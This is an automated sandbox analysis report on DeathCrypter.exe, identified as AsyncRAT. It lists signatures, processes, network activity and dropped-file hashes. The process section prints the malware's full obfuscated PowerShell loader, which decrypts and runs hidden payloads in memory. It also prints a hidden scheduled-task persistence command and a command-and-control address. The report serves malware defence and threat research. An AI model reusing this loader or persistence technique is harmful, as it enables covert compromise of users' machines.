Analysis Overview
SHA256
b651b3f78a1b32f6d0bec0c7aa9a270eb64b35df825cd0f920749fbdc337c318
Threat Level: Known bad
The file DeathCrypter.exe was found to be: Known bad.
Malicious Activity Summary
AsyncRat
Async RAT payload
Command and Scripting Interpreter: PowerShell
Blocklisted process makes network request
Checks computer location settings
Looks up external IP address via web service
Drops file in System32 directory
Enumerates physical storage devices
Unsigned PE
Suspicious use of AdjustPrivilegeToken
Modifies registry class
Checks processor information in registry
Uses Task Scheduler COM API
Suspicious behavior: EnumeratesProcesses
Modifies data under HKEY_USERS
Suspicious use of WriteProcessMemory
Suspicious use of SetWindowsHookEx
MITRE ATT&CK Matrix V13
Analysis: static1
Detonation Overview
Reported
2024-06-04 12:54
Signatures
Unsigned PE
| Description | Indicator | Process | Target |
| N/A | N/A | N/A | N/A |
Analysis: behavioral2
Detonation Overview
Submitted
2024-06-04 12:54
Reported
2024-06-04 12:55
Platform
win10v2004-20240508-en
Max time kernel
59s
Max time network
55s
Command Line
Signatures
AsyncRat
Async RAT payload
| Description | Indicator | Process | Target |
| N/A | N/A | N/A | N/A |
Blocklisted process makes network request
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Command and Scripting Interpreter: PowerShell
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Checks computer location settings
| Description | Indicator | Process | Target |
| Key value queried | \REGISTRY\USER\S-1-5-21-1181767204-2009306918-3718769404-1000\Control Panel\International\Geo\Nation | C:\Users\Admin\AppData\Local\Temp\DeathCrypter.exe | N/A |
| Key value queried | \REGISTRY\USER\S-1-5-21-1181767204-2009306918-3718769404-1000\Control Panel\International\Geo\Nation | C:\Windows\System32\WScript.exe | N/A |
Looks up external IP address via web service
| Description | Indicator | Process | Target |
| N/A | ip-api.com | N/A | N/A |
Drops file in System32 directory
| Description | Indicator | Process | Target |
| File opened for modification | C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Work | C:\Windows\system32\svchost.exe | N/A |
| File opened for modification | C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Wake To Work | C:\Windows\system32\svchost.exe | N/A |
| File opened for modification | C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Maintenance Work | C:\Windows\system32\svchost.exe | N/A |
| File opened for modification | C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Scan | C:\Windows\system32\svchost.exe | N/A |
Enumerates physical storage devices
Checks processor information in registry
| Description | Indicator | Process | Target |
| Key opened | \Registry\Machine\HARDWARE\DESCRIPTION\System\CentralProcessor\0 | C:\Windows\system32\svchost.exe | N/A |
| Key value queried | \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz | C:\Windows\system32\svchost.exe | N/A |
Modifies data under HKEY_USERS
| Description | Indicator | Process | Target |
| Key created | \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections | C:\Windows\system32\svchost.exe | N/A |
| Set value (str) | \REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\ExtendedProperties\LID = "0018800EF584BD80" | C:\Windows\system32\svchost.exe | N/A |
Modifies registry class
| Description | Indicator | Process | Target |
| Set value (int) | \REGISTRY\USER\S-1-5-21-1181767204-2009306918-3718769404-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\HAM\AUI\App\V1\LU\PCT = "133619792984234367" | C:\Windows\system32\svchost.exe | N/A |
| Set value (int) | \REGISTRY\USER\S-1-5-21-1181767204-2009306918-3718769404-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\HAM\AUI\App\V1\LU\PTT = "133619792996109311" | C:\Windows\system32\svchost.exe | N/A |
| Key created | \REGISTRY\USER\S-1-5-21-1181767204-2009306918-3718769404-1000_Classes\Local Settings | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Key created | \REGISTRY\USER\S-1-5-21-1181767204-2009306918-3718769404-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy | C:\Windows\system32\svchost.exe | N/A |
| Key created | \REGISTRY\USER\S-1-5-21-1181767204-2009306918-3718769404-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\HAM\AUI | C:\Windows\system32\svchost.exe | N/A |
| Key created | \REGISTRY\USER\S-1-5-21-1181767204-2009306918-3718769404-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\HAM\AUI\App | C:\Windows\system32\svchost.exe | N/A |
| Key created | \REGISTRY\USER\S-1-5-21-1181767204-2009306918-3718769404-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\HAM\AUI\App\V1 | C:\Windows\system32\svchost.exe | N/A |
| Key created | \REGISTRY\USER\S-1-5-21-1181767204-2009306918-3718769404-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\HAM\AUI\App\V1\LU | C:\Windows\system32\svchost.exe | N/A |
Suspicious behavior: EnumeratesProcesses
Suspicious use of AdjustPrivilegeToken
Suspicious use of SetWindowsHookEx
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of WriteProcessMemory
Uses Task Scheduler COM API
Processes
C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k DcomLaunch -p
C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k RPCSS -p
C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM
C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s gpsvc
C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNoNetwork -p
C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts
C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService
C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule
C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc
C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s EventLog
C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s ProfSvc
C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s nsi
C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s DispBrokerDesktopSvc
C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Dhcp
C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s UserManager
C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s EventSystem
C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s Themes
C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k NetworkService -p -s NlaSvc
C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s SENS
C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s AudioEndpointBuilder
C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalService -p -s netprofm
C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkService -p -s Dnscache
C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k appmodel -p -s StateRepository
C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s ShellHWDetection
C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Winmgmt
C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNoNetworkFirewall -p
C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k NetworkService -p -s LanmanWorkstation
C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -s RmSvc
C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s IKEEXT
C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkServiceNetworkRestricted -p -s PolicyAgent
C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkService -p -s CryptSvc
C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s LanmanServer
C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s TrkWks
C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s WpnService
C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k UnistackSvcGroup -s CDPUserSvc
C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s TokenBroker
C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s CDPSvc
C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k ClipboardSvcGroup -p -s cbdhsvc
C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager
C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s wlidsvc
C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s StorSvc
C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation -p -s SSDPSRV
C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s WinHttpAutoProxySvc
C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k appmodel -p -s camsvc
C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Appinfo
C:\Users\Admin\AppData\Local\Temp\DeathCrypter.exe
"C:\Users\Admin\AppData\Local\Temp\DeathCrypter.exe"
C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\DeathAuthentication.bat" "
C:\Users\Admin\AppData\Local\Temp\DeathCrypter.exe
"C:\Users\Admin\AppData\Local\Temp\DeathCrypter.exe"
C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s wuauserv
C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /S /D /c" echo function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('kGHinQ79UkF9r+tuo/CjrBrZV+MXdja5YdUtk0ihi64='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('303KSumhAOwl+H8eZdZWMQ=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $QnNmF=New-Object System.IO.MemoryStream(,$param_var); $zyqXV=New-Object System.IO.MemoryStream; $DhAXC=New-Object System.IO.Compression.GZipStream($QnNmF, [IO.Compression.CompressionMode]::Decompress); $DhAXC.CopyTo($zyqXV); $DhAXC.Dispose(); $QnNmF.Dispose(); $zyqXV.Dispose(); $zyqXV.ToArray();}function execute_function($param_var,$param2_var){ $qvAaV=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $IrdKD=$qvAaV.EntryPoint; $IrdKD.Invoke($null, $param2_var);}$sNNem = 'C:\Users\Admin\AppData\Local\Temp\DeathAuthentication.bat';$host.UI.RawUI.WindowTitle = $sNNem;$GQSoU=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($sNNem).Split([Environment]::NewLine);foreach ($pSNpQ in $GQSoU) { if ($pSNpQ.StartsWith('kxXxWsMoTNZTGgOQLuIn')) { $WGRDh=$pSNpQ.Substring(20); break; }}$payloads_var=[string[]]$WGRDh.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0].Replace('#', '/').Replace('@', 'A'))));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1].Replace('#', '/').Replace('@', 'A'))));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] ('')); "
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --no-appcompat-clear --field-trial-handle=4068,i,1809100026287847100,9768898026582633513,262144 --variations-seed-version --mojo-platform-channel-handle=4056 /prefetch:8
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Register-ScheduledTask -TaskName '$phantom-RuntimeBroker_startup_989_str' -Trigger (New-ScheduledTaskTrigger -AtLogon) -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\$phantom-startup_str_989.vbs') -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -Hidden -ExecutionTimeLimit 0) -RunLevel Highest -Force
C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\$phantom-startup_str_989.vbs"
C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\$phantom-startup_str_989.bat" "
C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /S /D /c" echo function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('kGHinQ79UkF9r+tuo/CjrBrZV+MXdja5YdUtk0ihi64='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('303KSumhAOwl+H8eZdZWMQ=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $QnNmF=New-Object System.IO.MemoryStream(,$param_var); $zyqXV=New-Object System.IO.MemoryStream; $DhAXC=New-Object System.IO.Compression.GZipStream($QnNmF, [IO.Compression.CompressionMode]::Decompress); $DhAXC.CopyTo($zyqXV); $DhAXC.Dispose(); $QnNmF.Dispose(); $zyqXV.Dispose(); $zyqXV.ToArray();}function execute_function($param_var,$param2_var){ $qvAaV=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $IrdKD=$qvAaV.EntryPoint; $IrdKD.Invoke($null, $param2_var);}$sNNem = 'C:\Users\Admin\AppData\Roaming\$phantom-startup_str_989.bat';$host.UI.RawUI.WindowTitle = $sNNem;$GQSoU=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($sNNem).Split([Environment]::NewLine);foreach ($pSNpQ in $GQSoU) { if ($pSNpQ.StartsWith('kxXxWsMoTNZTGgOQLuIn')) { $WGRDh=$pSNpQ.Substring(20); break; }}$payloads_var=[string[]]$WGRDh.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0].Replace('#', '/').Replace('@', 'A'))));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1].Replace('#', '/').Replace('@', 'A'))));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] ('')); "
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden
C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s UsoSvc
C:\Windows\System32\mousocoreworker.exe
C:\Windows\System32\mousocoreworker.exe -Embedding
C:\Windows\system32\backgroundTaskHost.exe
"C:\Windows\system32\backgroundTaskHost.exe" -ServerName:App.AppXmtcan0h2tfbfy7k9kn8hbxb6dmzz1zh0.mca
Network
| Country | Destination | Domain | Proto |
| US | 8.8.8.8:53 | 28.118.140.52.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 0.204.248.87.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 2.159.190.20.in-addr.arpa | udp |
| NL | 23.62.61.146:443 | www.bing.com | tcp |
| US | 8.8.8.8:53 | ip-api.com | udp |
| US | 8.8.8.8:53 | 58.99.105.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 146.61.62.23.in-addr.arpa | udp |
| US | 208.95.112.1:80 | ip-api.com | tcp |
| US | 8.8.8.8:53 | 1.112.95.208.in-addr.arpa | udp |
| DE | 193.161.193.99:44454 | tcp | |
| US | 8.8.8.8:53 | 154.239.44.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 99.193.161.193.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 203.107.17.2.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 26.165.165.52.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 171.39.242.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 31.243.111.52.in-addr.arpa | udp |
Files
memory/2892-0-0x00007FF94B5A3000-0x00007FF94B5A5000-memory.dmp
memory/2892-1-0x0000000000DE0000-0x00000000017F8000-memory.dmp
memory/2892-2-0x00007FF94B5A0000-0x00007FF94C061000-memory.dmp
C:\Users\Admin\AppData\Local\Temp\DeathAuthentication.bat
| MD5 | 9a3a9a5ba169eda2919b26e78abe3718 |
| SHA1 | ef2136796b2f2c88a9826968e14a72d34faff667 |
| SHA256 | 2c7178b4b84c0c6c8e16495b665aa5f1ed22982e13fe1769feada527be6caefe |
| SHA512 | e0a70678715e4a8679673b1a99c2850769a34a00803f8ba25b40651c557fe770af94a5c60bdb4c33c33e664d3f4cd029e0e63ecb3c8ccd49a2d508dc92f43829 |
memory/4232-7-0x00007FF94B5A0000-0x00007FF94C061000-memory.dmp
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_bzjcxcsj.bjf.ps1
| MD5 | d17fe0a3f47be24a6453e9ef58c94641 |
| SHA1 | 6ab83620379fc69f80c0242105ddffd7d98d5d9d |
| SHA256 | 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7 |
| SHA512 | 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82 |
memory/4376-17-0x0000029732630000-0x0000029732652000-memory.dmp
memory/4376-18-0x00000297326B0000-0x00000297326F4000-memory.dmp
memory/4376-19-0x0000029732B00000-0x0000029732B76000-memory.dmp
memory/4232-21-0x00007FF94B5A0000-0x00007FF94C061000-memory.dmp
memory/4376-22-0x0000029732690000-0x0000029732698000-memory.dmp
memory/4376-23-0x0000029732A80000-0x0000029732ACC000-memory.dmp
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
| MD5 | 661739d384d9dfd807a089721202900b |
| SHA1 | 5b2c5d6a7122b4ce849dc98e79a7713038feac55 |
| SHA256 | 70c3ecbaa6df88e88df4efc70968502955e890a2248269641c4e2d4668ef61bf |
| SHA512 | 81b48ae5c4064c4d9597303d913e32d3954954ba1c8123731d503d1653a0d848856812d2ee6951efe06b1db2b91a50e5d54098f60c26f36bc8390203f4c8a2d8 |
C:\Users\Admin\AppData\Roaming\$phantom-startup_str_989.vbs
| MD5 | 4694bc39ad366734e3364d143a54180e |
| SHA1 | c2a3140a64f4b1eb2b271b01ba3a9ec365848d6b |
| SHA256 | fa25bb589d44060f9966238e1fab6aeab41e3253bde4f3e3f00ba9c33658918a |
| SHA512 | d9323dc70f4609ba66c89e0e077f4c00fb3b2539fe8504e126157dd075ea197604ad039b4009d5439bfc2e5ebc5159eacda1a32885d7f64262e5fe3cf492ee09 |
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\DeathCrypter.exe.log
| MD5 | 2ff39f6c7249774be85fd60a8f9a245e |
| SHA1 | 684ff36b31aedc1e587c8496c02722c6698c1c4e |
| SHA256 | e1b91642d85d98124a6a31f710e137ab7fd90dec30e74a05ab7fcf3b7887dced |
| SHA512 | 1d7e8b92ef4afd463d62cfa7e8b9d1799db5bf2a263d3cd7840df2e0a1323d24eb595b5f8eb615c6cb15f9e3a7b4fc99f8dd6a3d34479222e966ec708998aed1 |
memory/2892-44-0x00007FF94B5A0000-0x00007FF94C061000-memory.dmp
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive
| MD5 | 005bc2ef5a9d890fb2297be6a36f01c2 |
| SHA1 | 0c52adee1316c54b0bfdc510c0963196e7ebb430 |
| SHA256 | 342544f99b409fd415b305cb8c2212c3e1d95efc25e78f6bf8194e866ac45b5d |
| SHA512 | f8aadbd743495d24d9476a5bb12c8f93ffb7b3cc8a8c8ecb49fd50411330c676c007da6a3d62258d5f13dd5dacc91b28c5577f7fbf53c090b52e802f5cc4ea22 |
memory/3436-55-0x0000000002E30000-0x0000000002E5A000-memory.dmp
memory/3436-104-0x00007FF929FB0000-0x00007FF929FC0000-memory.dmp
memory/1180-107-0x00007FF929FB0000-0x00007FF929FC0000-memory.dmp
memory/1768-105-0x00007FF929FB0000-0x00007FF929FC0000-memory.dmp
memory/1568-109-0x00007FF929FB0000-0x00007FF929FC0000-memory.dmp
memory/2348-118-0x00007FF929FB0000-0x00007FF929FC0000-memory.dmp
memory/1952-117-0x00007FF929FB0000-0x00007FF929FC0000-memory.dmp
memory/3020-116-0x00007FF929FB0000-0x00007FF929FC0000-memory.dmp
memory/2760-115-0x00007FF929FB0000-0x00007FF929FC0000-memory.dmp
memory/1040-113-0x00007FF929FB0000-0x00007FF929FC0000-memory.dmp
memory/1048-112-0x00007FF929FB0000-0x00007FF929FC0000-memory.dmp
memory/2432-111-0x00007FF929FB0000-0x00007FF929FC0000-memory.dmp
memory/1964-108-0x00007FF929FB0000-0x00007FF929FC0000-memory.dmp
memory/1732-106-0x00007FF929FB0000-0x00007FF929FC0000-memory.dmp
memory/2480-110-0x00007FF929FB0000-0x00007FF929FC0000-memory.dmp
memory/2520-155-0x000002C72DF30000-0x000002C72DF48000-memory.dmp
C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Work
| MD5 | 1e8e2076314d54dd72e7ee09ff8a52ab |
| SHA1 | 5fd0a67671430f66237f483eef39ff599b892272 |
| SHA256 | 55f203d6b40a39a6beba9dd3a2cb9034284f49578009835dd4f0f8e1db6ebe2f |
| SHA512 | 5b0c97284923c4619d9c00cba20ce1c6d65d1826abe664c390b04283f7a663256b4a6efe51f794cb5ec82ccea80307729addde841469da8d041cbcfd94feb0f6 |
C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Work
| MD5 | 0b990e24f1e839462c0ac35fef1d119e |
| SHA1 | 9e17905f8f68f9ce0a2024d57b537aa8b39c6708 |
| SHA256 | a1106ed0845cd438e074344e0fe296dc10ee121a0179e09398eaaea2357c614a |
| SHA512 | c65ba42fc0a2cb0b70888beb8ca334f7d5a8eaf954a5ef7adaecbcb4ce8d61b34858dfd9560954f95f59b4d8110a79ceaa39088b6a0caf8b42ceda41b46ec4a4 |
C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Wake To Work
| MD5 | ceb7caa4e9c4b8d760dbf7e9e5ca44c5 |
| SHA1 | a3879621f9493414d497ea6d70fbf17e283d5c08 |
| SHA256 | 98c054088df4957e8d6361fd2539c219bcf35f8a524aad8f5d1a95f218e990e9 |
| SHA512 | 1eddfbf4cb62d3c5b4755a371316304aaeabb00f01bad03fb4f925a98a2f0824f613537d86deddd648a74d694dc13ed5183e761fdc1ec92589f6fa28beb7fbff |
C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Wake To Work
| MD5 | 7d612892b20e70250dbd00d0cdd4f09b |
| SHA1 | 63251cfa4e5d6cbf6fb14f6d8a7407dbe763d3f5 |
| SHA256 | 727c9e7b91e144e453d5b32e18f12508ee84dabe71bc852941d9c9b4923f9e02 |
| SHA512 | f8d481f3300947d49ce5ab988a9d4e3154746afccc97081cbed1135ffb24fc107203d485dda2d5d714e74e752c614d8cfd16781ea93450fe782ffae3f77066d1 |
C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Maintenance Work
| MD5 | 8abf2d6067c6f3191a015f84aa9b6efe |
| SHA1 | 98f2b0a5cdb13cd3d82dc17bd43741bf0b3496f7 |
| SHA256 | ee18bd3259f220c41062abcbe71a421da3e910df11b9f86308a16cdc3a66fbea |
| SHA512 | c2d686a6373efcff583c1ef50c144c59addb8b9c4857ccd8565cd8be3c94b0ac0273945167eb04ebd40dfb0351e4b66cffe4c4e478fb7733714630a11f765b63 |
C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Maintenance Work
| MD5 | f313c5b4f95605026428425586317353 |
| SHA1 | 06be66fa06e1cffc54459c38d3d258f46669d01a |
| SHA256 | 129d0b993cd3858af5b7e87fdf74d8e59e6f2110184b5c905df8f5f6f2c39d8b |
| SHA512 | b87a829c86eff1d10e1590b18a9909f05101a535e5f4cef914a4192956eb35a8bfef614c9f95d53783d77571687f3eb3c4e8ee2f24d23ad24e0976d8266b8890 |
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506
| MD5 | 1fd1035a45ac11656a19aa41b6997d4a |
| SHA1 | 88f40db2eb7d00fd704bc6717d847e60ee9efbb8 |
| SHA256 | d9f27ae79d13f341a55a0db420a3d95aa7113949e2ba660b64aa3aa5bfcf7f5a |
| SHA512 | 0f8975be96348461519f062d47b4c5550c68b5e1e9010437af6fe37cb2330bfc847ac281f0ce8cb1d15aaa50c70c17b120a72904b6c5735dc20d1cf2ac70f594 |
Analysis: behavioral1
Detonation Overview
Submitted
2024-06-04 12:54
Reported
2024-06-04 12:55
Platform
win7-20240221-en
Max time kernel
41s
Max time network
21s
Command Line
Signatures
Command and Scripting Interpreter: PowerShell
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Looks up external IP address via web service
| Description | Indicator | Process | Target |
| N/A | ip-api.com | N/A | N/A |
Enumerates physical storage devices
Suspicious behavior: EnumeratesProcesses
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\DeathCrypter.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\DeathCrypter.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\DeathCrypter.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\DeathCrypter.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\DeathCrypter.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\DeathCrypter.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\DeathCrypter.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\DeathCrypter.exe | N/A |
